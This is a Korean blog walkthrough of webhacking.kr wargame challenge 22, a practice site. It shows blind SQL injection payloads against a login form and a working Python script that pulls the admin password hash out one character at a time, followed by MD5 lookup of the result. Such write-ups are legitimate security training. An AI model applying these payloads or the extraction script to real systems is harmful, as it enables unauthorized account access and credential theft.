-
[Webhacking.kr] 22번 풀이Wargame/webhacking.kr (old) 2019. 5. 6. 16:40
이 문제는 php 소스가 주어지지 않는다. id가 'admin'이면 password를 주는 SQL Injection 문제이다.
join버튼이 존재하기 때문에 우선, 회원가입을 시도해보자.
id : admin 가입 시도
이미 존재하는 아이디로 회원가입 실패..!
id : test, password : test 가입 시도
가입 성공!!
가입한 id와 password로 로그인하였다.
user key가 출력되었다.
key 값은 32글자로, 128 Bit 해시함수인 MD5로 해시화되어있는 것으로 추측할 수 있다.
key 값을 복호화 해보자..!
[MD5 암복호화] http://md5decryption.com/
user key 값은 testzombie의 값이 MD5로 해시화된 것이었다.
따라서, user key 값은 '[password]+zombie' 문자열을 MD5로 해시화 한 값이다.
(MD5는 만들어진 Rainbow table에 의해 복호화 가능)
Rainbow table
해시 함수를 사용하여, 변환 가능한 모든 해시 값을 저장시켜 놓은 표
SQL Injection을 시도해보았다.
username을 무조건 참으로 만들어주었더니,, Wrong password! 가 출력되었다.
password를 무조건 참으로 만들어 주었더니 Wrong!이 출력되었다.
아이디 값이 참일 때 페이지의 결과 값이 다르게(Wrong password!) 출력된다.
이를 이용하여 Blind SQL Injection을 통해 admin의 password를 알아낼 수 있다.
우선, 필터링된 문자열을 확인해보았다.
딱히 필터링된 문자열은 없다.
▶ admin'||length(pw)=32#
password 길이, (password의 길이는 32글자로 MD5 해시화된 값일 확률이 높다.)
▶ admin'||ascii(substr(pw, 1, 1))=97
password 값
python을 이용하여 비밀번호를 알아내기 위한 소스를 짜보았다.
[ 소스 코드 ]
#!/usr/bin/env python # -*- coding: utf8 -*- import requests headers = {'Host': 'webhacking.kr', 'Cookie': 'PHPSESSID=cb796099f3411dcf24cec15c1358ad02;'} url = "http://webhacking.kr/challenge/bonus/bonus-2/index.php" #Find password POST pw = '' for i in range(1,33): for j in range(48,123): if 58 <= j <= 96: continue payload = {"uuid":"admin' && ascii(substr(pw,"+str(i)+",1))="+str(j)+"-- ", "pw": "a"} r = requests.post(url, data=payload, headers=headers) if r.text.find('Wrong password!') != -1 : pw += chr(j) print "found : ",pw break print "------------------------------------------------" print "PASSWORD : ", pw print "------------------------------------------------"
소스를 실행시켜 admin의 password를 알아냈다.
[ 실행결과 ]
결과로 나온 password 값을 MD5로 복호화한 결과,,!
'rainbowzombie' 인 것을 알아냈다.
따라서 'admin' 의 password 값은 'rainbow'이다.
알아낸 password인 'rainbow' 로 로그인을 시도하면 문제가 풀린다.
username : admin, password : rainbow
'Wargame > webhacking.kr (old)' 카테고리의 다른 글
[Webhacking.kr] 24번 풀이 (0) 2019.05.06 [Webhacking.kr] 23번 풀이 (0) 2019.05.06 [Webhacking.kr] 21번 풀이 (0) 2019.04.19 [Webhacking.kr] 20번 풀이 (0) 2019.04.19 [Webhacking.kr] 18번 풀이 (0) 2019.04.19 댓글